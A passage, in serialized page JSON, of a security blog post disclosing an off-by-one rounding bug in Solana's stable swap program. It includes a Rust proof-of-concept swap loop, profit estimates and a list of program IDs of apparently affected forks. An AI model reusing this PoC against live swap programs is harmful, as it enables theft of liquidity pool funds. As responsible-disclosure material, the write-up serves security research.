",{"type":23,"tag":314,"props":2345,"children":2346},{"style":354},[2347],{"type":28,"value":1102},{"type":23,"tag":314,"props":2349,"children":2350},{"style":338},[2351],{"type":28,"value":2324},{"type":23,"tag":314,"props":2353,"children":2354},{"style":332},[2355],{"type":28,"value":2356},"checked_u8_power",{"type":23,"tag":314,"props":2358,"children":2359},{"style":338},[2360],{"type":28,"value":341},{"type":23,"tag":314,"props":2362,"children":2363},{"style":354},[2364],{"type":28,"value":1833},{"type":23,"tag":314,"props":2366,"children":2367},{"style":360},[2368],{"type":28,"value":2369},"y",{"type":23,"tag":314,"props":2371,"children":2372},{"style":338},[2373],{"type":28,"value":778},{"type":23,"tag":314,"props":2375,"children":2376},{"style":1054},[2377],{"type":28,"value":2378},"2",{"type":23,"tag":314,"props":2380,"children":2381},{"style":338},[2382],{"type":28,"value":431},{"type":23,"tag":314,"props":2384,"children":2385},{"style":354},[2386],{"type":28,"value":2387},"?.",{"type":23,"tag":314,"props":2389,"children":2390},{"style":332},[2391],{"type":28,"value":2392},"checked_add",{"type":23,"tag":314,"props":2394,"children":2395},{"style":338},[2396],{"type":28,"value":341},{"type":23,"tag":314,"props":2398,"children":2399},{"style":360},[2400],{"type":28,"value":308},{"type":23,"tag":314,"props":2402,"children":2403},{"style":338},[2404],{"type":28,"value":431},{"type":23,"tag":314,"props":2406,"children":2407},{"style":354},[2408],{"type":28,"value":2409},"?",{"type":23,"tag":314,"props":2411,"children":2412},{"style":338},[2413],{"type":28,"value":2414},")\n",{"type":23,"tag":314,"props":2416,"children":2417},{"class":316,"line":1141},[2418,2423,2428,2432,2437,2441,2445,2449,2453,2457,2461,2465,2469,2473,2478,2482,2486,2491,2495,2500,2504,2508,2512,2516],{"type":23,"tag":314,"props":2419,"children":2420},{"style":354},[2421],{"type":28,"value":2422}," .",{"type":23,"tag":314,"props":2424,"children":2425},{"style":332},[2426],{"type":28,"value":2427},"checked_ceil_div",{"type":23,"tag":314,"props":2429,"children":2430},{"style":338},[2431],{"type":28,"value":341},{"type":23,"tag":314,"props":2433,"children":2434},{"style":332},[2435],{"type":28,"value":2436},"checked_u8_mul",{"type":23,"tag":314,"props":2438,"children":2439},{"style":338},[2440],{"type":28,"value":341},{"type":23,"tag":314,"props":2442,"children":2443},{"style":354},[2444],{"type":28,"value":1833},{"type":23,"tag":314,"props":2446,"children":2447},{"style":360},[2448],{"type":28,"value":2369},{"type":23,"tag":314,"props":2450,"children":2451},{"style":338},[2452],{"type":28,"value":778},{"type":23,"tag":314,"props":2454,"children":2455},{"style":1054},[2456],{"type":28,"value":2378},{"type":23,"tag":314,"props":2458,"children":2459},{"style":338},[2460],{"type":28,"value":431},{"type":23,"tag":314,"props":2462,"children":2463},{"style":354},[2464],{"type":28,"value":2387},{"type":23,"tag":314,"props":2466,"children":2467},{"style":332},[2468],{"type":28,"value":2392},{"type":23,"tag":314,"props":2470,"children":2471},{"style":338},[2472],{"type":28,"value":341},{"type":23,"tag":314,"props":2474,"children":2475},{"style":360},[2476],{"type":28,"value":2477},"b",{"type":23,"tag":314,"props":2479,"children":2480},{"style":338},[2481],{"type":28,"value":431},{"type":23,"tag":314,"props":2483,"children":2484},{"style":354},[2485],{"type":28,"value":2387},{"type":23,"tag":314,"props":2487,"children":2488},{"style":332},[2489],{"type":28,"value":2490},"checked_sub",{"type":23,"tag":314,"props":2492,"children":2493},{"style":338},[2494],{"type":28,"value":341},{"type":23,"tag":314,"props":2496,"children":2497},{"style":360},[2498],{"type":28,"value":2499},"d_val",{"type":23,"tag":314,"props":2501,"children":2502},{"style":338},[2503],{"type":28,"value":431},{"type":23,"tag":314,"props":2505,"children":2506},{"style":354},[2507],{"type":28,"value":2409},{"type":23,"tag":314,"props":2509,"children":2510},{"style":338},[2511],{"type":28,"value":431},{"type":23,"tag":314,"props":2513,"children":2514},{"style":354},[2515],{"type":28,"value":2409},{"type":23,"tag":314,"props":2517,"children":2518},{"style":338},[2519],{"type":28,"value":2278},{"type":23,"tag":314,"props":2521,"children":2522},{"class":316,"line":1173},[2523,2528,2533,2538,2542],{"type":23,"tag":314,"props":2524,"children":2525},{"style":2284},[2526],{"type":28,"value":2527}," if",{"type":23,"tag":314,"props":2529,"children":2530},{"style":360},[2531],{"type":28,"value":2532}," y_new",{"type":23,"tag":314,"props":2534,"children":2535},{"style":354},[2536],{"type":28,"value":2537}," ==",{"type":23,"tag":314,"props":2539,"children":2540},{"style":360},[2541],{"type":28,"value":2264},{"type":23,"tag":314,"props":2543,"children":2544},{"style":338},[2545],{"type":28,"value":1449},{"type":23,"tag":314,"props":2547,"children":2548},{"class":316,"line":1208},[2549,2554],{"type":23,"tag":314,"props":2550,"children":2551},{"style":2284},[2552],{"type":28,"value":2553}," break",{"type":23,"tag":314,"props":2555,"children":2556},{"style":338},[2557],{"type":28,"value":2278},{"type":23,"tag":314,"props":2559,"children":2560},{"class":316,"line":1216},[2561,2566,2571],{"type":23,"tag":314,"props":2562,"children":2563},{"style":338},[2564],{"type":28,"value":2565}," } ",{"type":23,"tag":314,"props":2567,"children":2568},{"style":2284},[2569],{"type":28,"value":2570},"else",{"type":23,"tag":314,"props":2572,"children":2573},{"style":338},[2574],{"type":28,"value":1449},{"type":23,"tag":314,"props":2576,"children":2577},{"class":316,"line":1301},[2578,2583,2587,2591],{"type":23,"tag":314,"props":2579,"children":2580},{"style":360},[2581],{"type":28,"value":2582}," y",{"type":23,"tag":314,"props":2584,"children":2585},{"style":354},[2586],{"type":28,"value":1237},{"type":23,"tag":314,"props":2588,"children":2589},{"style":360},[2590],{"type":28,"value":2532},{"type":23,"tag":314,"props":2592,"children":2593},{"style":338},[2594],{"type":28,"value":2278},{"type":23,"tag":314,"props":2596,"children":2597},{"class":316,"line":1343},[2598],{"type":23,"tag":314,"props":2599,"children":2600},{"style":338},[2601],{"type":28,"value":2602}," }\n",{"type":23,"tag":314,"props":2604,"children":2605},{"class":316,"line":1351},[2606],{"type":23,"tag":314,"props":2607,"children":2608},{"style":338},[2609],{"type":28,"value":2610}," }\n",{"type":23,"tag":24,"props":2612,"children":2613},{},[2614,2619],{"type":23,"tag":186,"props":2615,"children":2616},{},[2617],{"type":28,"value":2618},"approximate",{"type":28,"value":2620},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":2622,"children":2623},{},[2624],{"type":28,"value":2625},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":304,"props":2627,"children":2629},{"code":2628,"language":2233,"meta":7,"className":2234,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[2630],{"type":23,"tag":94,"props":2631,"children":2632},{"__ignoreMap":7},[2633,2641,2682,2690,2720,2748,2764,2780,2805,2821,2837,2853,2869,2885,2897,2905,2927,2934,2942,3008,3015,3044,3051,3081,3088,3147],{"type":23,"tag":314,"props":2634,"children":2635},{"class":316,"line":317},[2636],{"type":23,"tag":314,"props":2637,"children":2638},{"style":374},[2639],{"type":28,"value":2640},"// from sbtc to renbtc\n",{"type":23,"tag":314,"props":2642,"children":2643},{"class":316,"line":370},[2644,2649,2654,2658,2662,2667,2672,2678],{"type":23,"tag":314,"props":2645,"children":2646},{"style":2284},[2647],{"type":28,"value":2648},"for",{"type":23,"tag":314,"props":2650,"children":2651},{"style":360},[2652],{"type":28,"value":2653}," i",{"type":23,"tag":314,"props":2655,"children":2656},{"style":321},[2657],{"type":28,"value":2297},{"type":23,"tag":314,"props":2659,"children":2660},{"style":1054},[2661],{"type":28,"value":1201},{"type":23,"tag":314,"props":2663,"children":2664},{"style":354},[2665],{"type":28,"value":2666}," ..",{"type":23,"tag":314,"props":2668,"children":2669},{"style":1054},[2670],{"type":28,"value":2671}," 50",{"type":23,"tag":314,"props":2673,"children":2675},{"style":2674},"--shiki-default:#4EC9B0",[2676],{"type":28,"value":2677},"u8",{"type":23,"tag":314,"props":2679,"children":2680},{"style":338},[2681],{"type":28,"value":1449},{"type":23,"tag":314,"props":2683,"children":2684},{"class":316,"line":380},[2685],{"type":23,"tag":314,"props":2686,"children":2687},{"style":374},[2688],{"type":28,"value":2689}," // create swap transaction\n",{"type":23,"tag":314,"props":2691,"children":2692},{"class":316,"line":1091},[2693,2697,2701,2706,2710,2715],{"type":23,"tag":314,"props":2694,"children":2695},{"style":321},[2696],{"type":28,"value":2254},{"type":23,"tag":314,"props":2698,"children":2699},{"style":321},[2700],{"type":28,"value":2259},{"type":23,"tag":314,"props":2702,"children":2703},{"style":360},[2704],{"type":28,"value":2705}," swap_instruction",{"type":23,"tag":314,"props":2707,"children":2708},{"style":354},[2709],{"type":28,"value":1237},{"type":23,"tag":314,"props":2711,"children":2712},{"style":332},[2713],{"type":28,"value":2714}," swap",{"type":23,"tag":314,"props":2716,"children":2717},{"style":338},[2718],{"type":28,"value":2719},"(\n",{"type":23,"tag":314,"props":2721,"children":2722},{"class":316,"line":1141},[2723,2728,2733,2738,2743],{"type":23,"tag":314,"props":2724,"children":2725},{"style":354},[2726],{"type":28,"value":2727}," &",{"type":23,"tag":314,"props":2729,"children":2730},{"style":338},[2731],{"type":28,"value":2732},"spl_token",{"type":23,"tag":314,"props":2734,"children":2735},{"style":354},[2736],{"type":28,"value":2737},"::",{"type":23,"tag":314,"props":2739,"children":2740},{"style":332},[2741],{"type":28,"value":2742},"id",{"type":23,"tag":314,"props":2744,"children":2745},{"style":338},[2746],{"type":28,"value":2747},"(),\n",{"type":23,"tag":314,"props":2749,"children":2750},{"class":316,"line":1173},[2751,2755,2760],{"type":23,"tag":314,"props":2752,"children":2753},{"style":354},[2754],{"type":28,"value":2727},{"type":23,"tag":314,"props":2756,"children":2757},{"style":360},[2758],{"type":28,"value":2759},"swap_pubkey",{"type":23,"tag":314,"props":2761,"children":2762},{"style":338},[2763],{"type":28,"value":1870},{"type":23,"tag":314,"props":2765,"children":2766},{"class":316,"line":1208},[2767,2771,2776],{"type":23,"tag":314,"props":2768,"children":2769},{"style":354},[2770],{"type":28,"value":2727},{"type":23,"tag":314,"props":2772,"children":2773},{"style":360},[2774],{"type":28,"value":2775},"swap_authority_pubkey",{"type":23,"tag":314,"props":2777,"children":2778},{"style":338},[2779],{"type":28,"value":1870},{"type":23,"tag":314,"props":2781,"children":2782},{"class":316,"line":1216},[2783,2787,2792,2796,2801],{"type":23,"tag":314,"props":2784,"children":2785},{"style":354},[2786],{"type":28,"value":2727},{"type":23,"tag":314,"props":2788,"children":2789},{"style":360},[2790],{"type":28,"value":2791},"test_account_signer",{"type":23,"tag":314,"props":2793,"children":2794},{"style":354},[2795],{"type":28,"value":282},{"type":23,"tag":314,"props":2797,"children":2798},{"style":332},[2799],{"type":28,"value":2800},"pubkey",{"type":23,"tag":314,"props":2802,"children":2803},{"style":338},[2804],{"type":28,"value":2747},{"type":23,"tag":314,"props":2806,"children":2807},{"class":316,"line":1301},[2808,2812,2817],{"type":23,"tag":314,"props":2809,"children":2810},{"style":354},[2811],{"type":28,"value":2727},{"type":23,"tag":314,"props":2813,"children":2814},{"style":360},[2815],{"type":28,"value":2816},"sbtc_user_account",{"type":23,"tag":314,"props":2818,"children":2819},{"style":338},[2820],{"type":28,"value":1870},{"type":23,"tag":314,"props":2822,"children":2823},{"class":316,"line":1343},[2824,2828,2833],{"type":23,"tag":314,"props":2825,"children":2826},{"style":354},[2827],{"type":28,"value":2727},{"type":23,"tag":314,"props":2829,"children":2830},{"style":360},[2831],{"type":28,"value":2832},"sbtc_reserve",{"type":23,"tag":314,"props":2834,"children":2835},{"style":338},[2836],{"type":28,"value":1870},{"type":23,"tag":314,"props":2838,"children":2839},{"class":316,"line":1351},[2840,2844,2849],{"type":23,"tag":314,"props":2841,"children":2842},{"style":354},[2843],{"type":28,"value":2727},{"type":23,"tag":314,"props":2845,"children":2846},{"style":360},[2847],{"type":28,"value":2848},"renbtc_reserve",{"type":23,"tag":314,"props":2850,"children":2851},{"style":338},[2852],{"type":28,"value":1870},{"type":23,"tag":314,"props":2854,"children":2855},{"class":316,"line":1387},[2856,2860,2865],{"type":23,"tag":314,"props":2857,"children":2858},{"style":354},[2859],{"type":28,"value":2727},{"type":23,"tag":314,"props":2861,"children":2862},{"style":360},[2863],{"type":28,"value":2864},"renbtc_user_account",{"type":23,"tag":314,"props":2866,"children":2867},{"style":338},[2868],{"type":28,"value":1870},{"type":23,"tag":314,"props":2870,"children":2871},{"class":316,"line":1422},[2872,2876,2881],{"type":23,"tag":314,"props":2873,"children":2874},{"style":354},[2875],{"type":28,"value":2727},{"type":23,"tag":314,"props":2877,"children":2878},{"style":360},[2879],{"type":28,"value":2880},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":314,"props":2882,"children":2883},{"style":338},[2884],{"type":28,"value":1870},{"type":23,"tag":314,"props":2886,"children":2887},{"class":316,"line":1430},[2888,2893],{"type":23,"tag":314,"props":2889,"children":2890},{"style":1054},[2891],{"type":28,"value":2892}," 1",{"type":23,"tag":314,"props":2894,"children":2895},{"style":338},[2896],{"type":28,"value":1870},{"type":23,"tag":314,"props":2898,"children":2899},{"class":316,"line":1452},[2900],{"type":23,"tag":314,"props":2901,"children":2902},{"style":1054},[2903],{"type":28,"value":2904}," 2\n",{"type":23,"tag":314,"props":2906,"children":2907},{"class":316,"line":1497},[2908,2913,2917,2922],{"type":23,"tag":314,"props":2909,"children":2910},{"style":338},[2911],{"type":28,"value":2912}," )",{"type":23,"tag":314,"props":2914,"children":2915},{"style":354},[2916],{"type":28,"value":282},{"type":23,"tag":314,"props":2918,"children":2919},{"style":332},[2920],{"type":28,"value":2921},"unwrap",{"type":23,"tag":314,"props":2923,"children":2924},{"style":338},[2925],{"type":28,"value":2926},"();\n",{"type":23,"tag":314,"props":2928,"children":2929},{"class":316,"line":1539},[2930],{"type":23,"tag":314,"props":2931,"children":2932},{"emptyLinePlaceholder":18},[2933],{"type":28,"value":1088},{"type":23,"tag":314,"props":2935,"children":2936},{"class":316,"line":1548},[2937],{"type":23,"tag":314,"props":2938,"children":2939},{"style":374},[2940],{"type":28,"value":2941}," // nonce\n",{"type":23,"tag":314,"props":2943,"children":2944},{"class":316,"line":1584},[2945,2950,2954,2958,2962,2967,2971,2975,2980,2985,2989,2994,2998,3003],{"type":23,"tag":314,"props":2946,"children":2947},{"style":360},[2948],{"type":28,"value":2949}," swap_instruction",{"type":23,"tag":314,"props":2951,"children":2952},{"style":354},[2953],{"type":28,"value":282},{"type":23,"tag":314,"props":2955,"children":2956},{"style":338},[2957],{"type":28,"value":249},{"type":23,"tag":314,"props":2959,"children":2960},{"style":354},[2961],{"type":28,"value":282},{"type":23,"tag":314,"props":2963,"children":2964},{"style":332},[2965],{"type":28,"value":2966},"append",{"type":23,"tag":314,"props":2968,"children":2969},{"style":338},[2970],{"type":28,"value":341},{"type":23,"tag":314,"props":2972,"children":2973},{"style":354},[2974],{"type":28,"value":1833},{"type":23,"tag":314,"props":2976,"children":2977},{"style":321},[2978],{"type":28,"value":2979},"mut",{"type":23,"tag":314,"props":2981,"children":2982},{"style":332},[2983],{"type":28,"value":2984}," vec!",{"type":23,"tag":314,"props":2986,"children":2987},{"style":338},[2988],{"type":28,"value":1312},{"type":23,"tag":314,"props":2990,"children":2991},{"style":360},[2992],{"type":28,"value":2993},"i",{"type":23,"tag":314,"props":2995,"children":2996},{"style":338},[2997],{"type":28,"value":778},{"type":23,"tag":314,"props":2999,"children":3000},{"style":360},[3001],{"type":28,"value":3002},"extranonce",{"type":23,"tag":314,"props":3004,"children":3005},{"style":338},[3006],{"type":28,"value":3007},"]);\n",{"type":23,"tag":314,"props":3009,"children":3010},{"class":316,"line":1617},[3011],{"type":23,"tag":314,"props":3012,"children":3013},{"emptyLinePlaceholder":18},[3014],{"type":28,"value":1088},{"type":23,"tag":314,"props":3016,"children":3017},{"class":316,"line":1625},[3018,3022,3026,3031,3035,3039],{"type":23,"tag":314,"props":3019,"children":3020},{"style":321},[3021],{"type":28,"value":2254},{"type":23,"tag":314,"props":3023,"children":3024},{"style":321},[3025],{"type":28,"value":2259},{"type":23,"tag":314,"props":3027,"children":3028},{"style":360},[3029],{"type":28,"value":3030}," instructions",{"type":23,"tag":314,"props":3032,"children":3033},{"style":354},[3034],{"type":28,"value":1237},{"type":23,"tag":314,"props":3036,"children":3037},{"style":332},[3038],{"type":28,"value":2984},{"type":23,"tag":314,"props":3040,"children":3041},{"style":338},[3042],{"type":28,"value":3043},"[];\n",{"type":23,"tag":314,"props":3045,"children":3046},{"class":316,"line":1660},[3047],{"type":23,"tag":314,"props":3048,"children":3049},{"emptyLinePlaceholder":18},[3050],{"type":28,"value":1088},{"type":23,"tag":314,"props":3052,"children":3053},{"class":316,"line":1708},[3054,3059,3063,3068,3072,3077],{"type":23,"tag":314,"props":3055,"children":3056},{"style":360},[3057],{"type":28,"value":3058}," instructions",{"type":23,"tag":314,"props":3060,"children":3061},{"style":354},[3062],{"type":28,"value":282},{"type":23,"tag":314,"props":3064,"children":3065},{"style":332},[3066],{"type":28,"value":3067},"push",{"type":23,"tag":314,"props":3069,"children":3070},{"style":338},[3071],{"type":28,"value":341},{"type":23,"tag":314,"props":3073,"children":3074},{"style":360},[3075],{"type":28,"value":3076},"swap_instruction",{"type":23,"tag":314,"props":3078,"children":3079},{"style":338},[3080],{"type":28,"value":1025},{"type":23,"tag":314,"props":3082,"children":3083},{"class":316,"line":1743},[3084],{"type":23,"tag":314,"props":3085,"children":3086},{"emptyLinePlaceholder":18},[3087],{"type":28,"value":1088},{"type":23,"tag":314,"props":3089,"children":3090},{"class":316,"line":1751},[3091,3096,3100,3105,3109,3113,3118,3122,3126,3131,3135,3139,3143],{"type":23,"tag":314,"props":3092,"children":3093},{"style":360},[3094],{"type":28,"value":3095}," env",{"type":23,"tag":314,"props":3097,"children":3098},{"style":354},[3099],{"type":28,"value":282},{"type":23,"tag":314,"props":3101,"children":3102},{"style":332},[3103],{"type":28,"value":3104},"execute_as_transaction",{"type":23,"tag":314,"props":3106,"children":3107},{"style":338},[3108],{"type":28,"value":341},{"type":23,"tag":314,"props":3110,"children":3111},{"style":354},[3112],{"type":28,"value":1833},{"type":23,"tag":314,"props":3114,"children":3115},{"style":360},[3116],{"type":28,"value":3117},"instructions",{"type":23,"tag":314,"props":3119,"children":3120},{"style":338},[3121],{"type":28,"value":778},{"type":23,"tag":314,"props":3123,"children":3124},{"style":354},[3125],{"type":28,"value":1833},{"type":23,"tag":314,"props":3127,"children":3128},{"style":332},[3129],{"type":28,"value":3130},"vec!",{"type":23,"tag":314,"props":3132,"children":3133},{"style":338},[3134],{"type":28,"value":1312},{"type":23,"tag":314,"props":3136,"children":3137},{"style":354},[3138],{"type":28,"value":1833},{"type":23,"tag":314,"props":3140,"children":3141},{"style":360},[3142],{"type":28,"value":2791},{"type":23,"tag":314,"props":3144,"children":3145},{"style":338},[3146],{"type":28,"value":3007},{"type":23,"tag":314,"props":3148,"children":3149},{"class":316,"line":1791},[3150],{"type":23,"tag":314,"props":3151,"children":3152},{"style":338},[3153],{"type":28,"value":386},{"type":23,"tag":24,"props":3155,"children":3156},{},[3157],{"type":28,"value":3158},"It works!",{"type":23,"tag":2186,"props":3160,"children":3161},{},[3162],{"type":23,"tag":24,"props":3163,"children":3164},{},[3165],{"type":28,"value":3166},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":3168,"children":3169},{},[3170],{"type":23,"tag":197,"props":3171,"children":3173},{"alt":7,"src":3172},"/posts/spl-swap/poc.png",[],{"type":23,"tag":61,"props":3175,"children":3177},{"id":3176},"exploitability",[3178],{"type":28,"value":3179},"Exploitability",{"type":23,"tag":24,"props":3181,"children":3182},{},[3183],{"type":28,"value":3184},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":3186,"children":3187},{},[3188],{"type":28,"value":3189},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":3191,"children":3192},{},[3193],{"type":28,"value":3194},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":3196,"children":3197},{},[3198],{"type":23,"tag":197,"props":3199,"children":3201},{"alt":7,"src":3200},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":3203,"children":3204},{},[3205,3207,3212],{"type":28,"value":3206},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":186,"props":3208,"children":3209},{},[3210],{"type":28,"value":3211},"per instruction",{"type":28,"value":3213},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":3215,"children":3216},{},[3217],{"type":28,"value":3218},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":3220,"children":3221},{},[3222,3224,3229],{"type":28,"value":3223},"Some quick napkin math confirms that this ",{"type":23,"tag":186,"props":3225,"children":3226},{},[3227],{"type":28,"value":3228},"is",{"type":28,"value":3230}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":3232,"children":3233},{},[3234],{"type":23,"tag":94,"props":3235,"children":3239},{"className":3236},[3237,3238],"language-math","math-inline",[3240],{"type":23,"tag":314,"props":3241,"children":3244},{"className":3242},[3243],"katex",[3245],{"type":23,"tag":314,"props":3246,"children":3249},{"className":3247,"ariaHidden":1481},[3248],"katex-html",[3250,3358,3414,3454],{"type":23,"tag":314,"props":3251,"children":3254},{"className":3252},[3253],"base",[3255,3261,3268,3331,3341,3347,3354],{"type":23,"tag":314,"props":3256,"children":3260},{"className":3257,"style":3259},[3258],"strut","height:0.8141em;",[],{"type":23,"tag":314,"props":3262,"children":3265},{"className":3263},[3264],"mord",[3266],{"type":28,"value":3267},"1",{"type":23,"tag":314,"props":3269,"children":3271},{"className":3270},[3264],[3272,3277],{"type":23,"tag":314,"props":3273,"children":3275},{"className":3274},[3264],[3276],{"type":28,"value":1600},{"type":23,"tag":314,"props":3278,"children":3281},{"className":3279},[3280],"msupsub",[3282],{"type":23,"tag":314,"props":3283,"children":3286},{"className":3284},[3285],"vlist-t",[3287],{"type":23,"tag":314,"props":3288,"children":3291},{"className":3289},[3290],"vlist-r",[3292],{"type":23,"tag":314,"props":3293,"children":3296},{"className":3294,"style":3259},[3295],"vlist",[3297],{"type":23,"tag":314,"props":3298,"children":3300},{"style":3299},"top:-3.063em;margin-right:0.05em;",[3301,3307],{"type":23,"tag":314,"props":3302,"children":3306},{"className":3303,"style":3305},[3304],"pstrut","height:2.7em;",[],{"type":23,"tag":314,"props":3308,"children":3314},{"className":3309},[3310,3311,3312,3313],"sizing","reset-size6","size3","mtight",[3315],{"type":23,"tag":314,"props":3316,"children":3318},{"className":3317},[3264,3313],[3319,3325],{"type":23,"tag":314,"props":3320,"children":3322},{"className":3321},[3264,3313],[3323],{"type":28,"value":3324},"−",{"type":23,"tag":314,"props":3326,"children":3328},{"className":3327},[3264,3313],[3329],{"type":28,"value":3330},"8",{"type":23,"tag":314,"props":3332,"children":3334},{"className":3333},[3264,28],[3335],{"type":23,"tag":314,"props":3336,"children":3338},{"className":3337},[3264],[3339],{"type":28,"value":3340}," BTC",{"type":23,"tag":314,"props":3342,"children":3346},{"className":3343,"style":3345},[3344],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":314,"props":3348,"children":3351},{"className":3349},[3350],"mbin",[3352],{"type":28,"value":3353},"∗",{"type":23,"tag":314,"props":3355,"children":3357},{"className":3356,"style":3345},[3344],[],{"type":23,"tag":314,"props":3359,"children":3361},{"className":3360},[3253],[3362,3367,3373,3380,3385,3391,3401,3405,3410],{"type":23,"tag":314,"props":3363,"children":3366},{"className":3364,"style":3365},[3258],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":314,"props":3368,"children":3370},{"className":3369},[3264],[3371],{"type":28,"value":3372},"$41",{"type":23,"tag":314,"props":3374,"children":3377},{"className":3375},[3376],"mpunct",[3378],{"type":28,"value":3379},",",{"type":23,"tag":314,"props":3381,"children":3384},{"className":3382,"style":3383},[3344],"margin-right:0.1667em;",[],{"type":23,"tag":314,"props":3386,"children":3388},{"className":3387},[3264],[3389],{"type":28,"value":3390},"400/",{"type":23,"tag":314,"props":3392,"children":3394},{"className":3393},[3264,28],[3395],{"type":23,"tag":314,"props":3396,"children":3398},{"className":3397},[3264],[3399],{"type":28,"value":3400},"BTC",{"type":23,"tag":314,"props":3402,"children":3404},{"className":3403,"style":3345},[3344],[],{"type":23,"tag":314,"props":3406,"children":3408},{"className":3407},[3350],[3409],{"type":28,"value":3353},{"type":23,"tag":314,"props":3411,"children":3413},{"className":3412,"style":3345},[3344],[],{"type":23,"tag":314,"props":3415,"children":3417},{"className":3416},[3253],[3418,3423,3429,3439,3444,3450],{"type":23,"tag":314,"props":3419,"children":3422},{"className":3420,"style":3421},[3258],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":3424,"children":3426},{"className":3425},[3264],[3427],{"type":28,"value":3428},"150",{"type":23,"tag":314,"props":3430,"children":3432},{"className":3431},[3264,28],[3433],{"type":23,"tag":314,"props":3434,"children":3436},{"className":3435},[3264],[3437],{"type":28,"value":3438}," swaps",{"type":23,"tag":314,"props":3440,"children":3443},{"className":3441,"style":3442},[3344],"margin-right:0.2778em;",[],{"type":23,"tag":314,"props":3445,"children":3448},{"className":3446},[3447],"mrel",[3449],{"type":28,"value":1102},{"type":23,"tag":314,"props":3451,"children":3453},{"className":3452,"style":3442},[3344],[],{"type":23,"tag":314,"props":3455,"children":3457},{"className":3456},[3253],[3458,3463],{"type":23,"tag":314,"props":3459,"children":3462},{"className":3460,"style":3461},[3258],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":314,"props":3464,"children":3466},{"className":3465},[3264],[3467],{"type":28,"value":3468},"$0.0621",{"type":23,"tag":24,"props":3470,"children":3471},{},[3472],{"type":28,"value":3473},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":3475,"children":3476},{},[3477],{"type":28,"value":3478},"We're well on our way to becoming a millionaire!",{"type":23,"tag":61,"props":3480,"children":3482},{"id":3481},"patch",[3483],{"type":28,"value":3484},"Patch",{"type":23,"tag":24,"props":3486,"children":3487},{},[3488],{"type":28,"value":3489},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":3491,"children":3492},{},[3493],{"type":28,"value":3494},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":304,"props":3496,"children":3500},{"code":3497,"language":3498,"meta":7,"className":3499,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[3501],{"type":23,"tag":94,"props":3502,"children":3503},{"__ignoreMap":7},[3504],{"type":23,"tag":314,"props":3505,"children":3506},{"class":316,"line":317},[3507,3511,3516,3521,3526,3531,3536],{"type":23,"tag":314,"props":3508,"children":3509},{"style":332},[3510],{"type":28,"value":17},{"type":23,"tag":314,"props":3512,"children":3513},{"style":1245},[3514],{"type":28,"value":3515}," logs",{"type":23,"tag":314,"props":3517,"children":3518},{"style":1245},[3519],{"type":28,"value":3520}," -um",{"type":23,"tag":314,"props":3522,"children":3523},{"style":354},[3524],{"type":28,"value":3525}," |",{"type":23,"tag":314,"props":3527,"children":3528},{"style":332},[3529],{"type":28,"value":3530}," grep",{"type":23,"tag":314,"props":3532,"children":3533},{"style":1245},[3534],{"type":28,"value":3535}," 'Instruction: Swap'",{"type":23,"tag":314,"props":3537,"children":3538},{"style":1245},[3539],{"type":28,"value":3540}," -B1\n",{"type":23,"tag":24,"props":3542,"children":3543},{},[3544],{"type":28,"value":3545},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":304,"props":3547,"children":3549},{"code":3548},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[3550],{"type":23,"tag":94,"props":3551,"children":3552},{"__ignoreMap":7},[3553],{"type":28,"value":3548},{"type":23,"tag":24,"props":3555,"children":3556},{},[3557],{"type":28,"value":3558},"Now it was time to contact these 